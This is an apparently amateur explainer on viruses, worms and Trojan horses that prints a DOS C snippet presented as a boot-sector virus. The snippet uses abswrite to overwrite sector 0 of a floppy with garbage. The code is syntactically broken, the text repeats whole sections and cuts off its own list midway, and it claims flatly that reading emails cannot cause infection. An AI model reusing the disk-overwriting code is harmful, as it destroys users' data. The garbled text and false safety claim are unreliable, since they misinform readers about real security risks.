computer virus
Worm:
It s a kind of infection. worm is self-contained programs that copies itself or its segments to other computer systems. But, it is quite different from virus in sense it is not fully attached to host program.
Usually, worm spread across network connection. two types of worms:
1)host computer worm
2)network worm.
However, this can be easily detected and cleaned by new anti-virus software like RISING ANTI-VIRUS 2010 etc
TROJAN horse:
It is a program that does undocumented that program is intended. It is also like a kind of virus infection
Let us see an example of virus program:
When this program is executed ,boot sector is attacked by virus
#include<stdio.h>
#include<conio.h>
#include<process.h>
#include<dos.h>
Void main()
{
Int sector=0;
Char buf[20];
/*buf contains any garbage value or copy of virus itself*/
If((abswrite(0,0,sector,&buf)==0)
{
printf(“\n this program is to spread the virus”);
printf(“\n target area of this virus is boot sector”);
printf(“it will destroy all floppies”);
exit(1);
}
}
Beware of this kind of virus programs..
Computer virus:
A computer viruses is a self-replicating programs they basically do the explicit copy of themselves.
They will cause computer environment to stop thereby causing a display message until a key is pressed.
It s a special type of malware or malicious logic.
IT can spread very fastly and even a least type of virus is also life-threadening.so be aware to viruses before they collapse our system
General categories of viruses:
Armored
Tunneling
Shealth
Worm
Trojan horse
Polymorphic
Cavity
Combined
Viruses are not spread by reading online emails, since viruses are programs and they only affect if there are executed. In mails, no such situation happens. so NO VIRUS INFECTION OCCUR WHILE READING EMAILS
Computer virus:
A computer viruses is a self-replicating programs they basically do the explicit copy of themselves.
They will cause computer environment to stop thereby causing a display message until a key is pressed.
It s a special type of malware or malicious logic.
IT can spread very fastly and even a least type of virus is also life-threadening.so be aware to viruses before they collapse our system
General categories of viruses:
Armored
Tunneling
Shealth
Worm:
It s a kind of infection. worm is self-contained programs that copies itself or its segments to other computer systems. But, it is quite different from virus in sense it is not fully attached to host program.
Usually, worm spread across network connection. two types of worms:
1)host computer worm
2)network worm.
However, this can be easily detected and cleaned by new anti-virus software like RISING ANTI-VIRUS 2010 etc
TROJAN horse:
It is a program that does undocumented that program is intended. It is also like a kind of virus infection
Let us see an example of virus program:
When this program is executed ,boot sector is attacked by virus
#include<stdio.h>
#include<conio.h>
#include<process.h>
#include<dos.h>
Void main()
{
Int sector=0;
Char buf[20];
/*buf contains any garbage value or copy of virus itself*/
If((abswrite(0,0,sector,&buf)==0)
{
printf(“\n this program is to spread the virus”);
printf(“\n target area of this virus is boot sector”);
printf(“it will destroy all floppies”);
exit(1);
}
}
Beware of this kind of virus programs..
Trojan horse
Polymorphic
Cavity
Combined
Viruses are not spread by reading online emails, since viruses are programs and they only affect if there are executed. In mails, no such situation happens. so NO VIRUS INFECTION OCCUR WHILE READING EMAILS
